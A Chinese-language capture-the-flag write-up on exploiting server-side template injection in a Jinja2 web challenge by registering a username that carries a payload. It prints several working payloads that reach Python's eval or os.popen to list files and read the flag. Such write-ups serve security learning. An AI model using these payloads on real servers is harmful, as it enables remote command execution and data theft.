解題思路
拿到手上,有四個頁面
首先按照題目要求執行,嘗試註冊一個名為admin的賬戶
這種情況,路徑都給出來了,很可能就是目錄遍歷或者檔案上傳了
回到初始介面,點選連結here
有一個捐贈介面,讓我們輸入捐贈的地址和名字
下面的collection de musee代表它是一個收藏館,也不知道捐什麼,就隨意捐一個,比如baidu.com
可以看到是有報錯的,為了讓報錯全部顯示,建議直接使用“檢視頁面原始碼”
像這種東西,就無不暗示著你,是可能有SSTI漏洞的
按照正常方法,直接crtl+F搜尋render,看看有沒有SSTI注入點
可以看見,text的變數是有著jinja2的注入點的,所以我們尋找text這個指向的是什麼就可以找到注入點了。
通過審查html,可以發現,我們所指的text表示的是name
所以我們需要將這個注入進去就可以了
如何注入呢,就是剛剛的註冊頁面,剛剛發現我們註冊之後會在伺服器端生成一個為註冊名的目錄,所以,只要將payload作為使用者名稱注入即可
構造payload,先檢視目錄,確定flag的檔名(flag*一步到位也不是不可以)
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}
可以在這個payload前面新增你自己喜歡的使用者名稱,當然不加也可以
然後我們捐獻的是一張純黑色的圖片(也可以上傳別的圖片,但是最後發現,還得上傳純黑的圖片才看得清楚)
http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg
構造payload
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat flag*").read()')}}
#或者網上給的
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}
flag就出來了
再次注入的時候仍然需要新增新的使用者,否則會被判為被黑
總結
問題 | 方法 |
---|---|
伺服器端模板注入的尋找方法 | 就是看除了PHP以外還有沒有用別的語言寫,常見的是python,如果能夠找到一些原始碼或者報錯,搜尋render,或許就能找到注入點 |
漏洞如何尋找 | 按照題目一步一步來做,順著題目的意思進行,出現了報錯或者原始碼的出現是最好不過了 |
payload的構造 | payload在主頁裡面有,payload可能會被過濾,這個題目簡單,麼有過濾payload,payload有很多種,也不止上面給的這一種 |